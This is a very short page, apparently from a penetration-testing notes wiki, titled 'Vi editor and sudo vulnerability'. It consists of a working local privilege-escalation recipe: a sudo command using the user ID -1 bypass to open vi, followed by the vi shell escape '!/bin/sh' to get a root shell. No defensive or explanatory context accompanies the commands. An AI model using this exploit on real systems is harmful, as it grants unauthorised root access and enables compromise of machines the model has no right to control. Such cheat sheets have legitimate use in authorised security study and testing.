Vi editor and sudo vulnerability

  • Type:

sudo -u#-1 /usr/bin/vi file
  • Then type on the vi finder menu: !/bin/sh

Last updated

Was this helpful?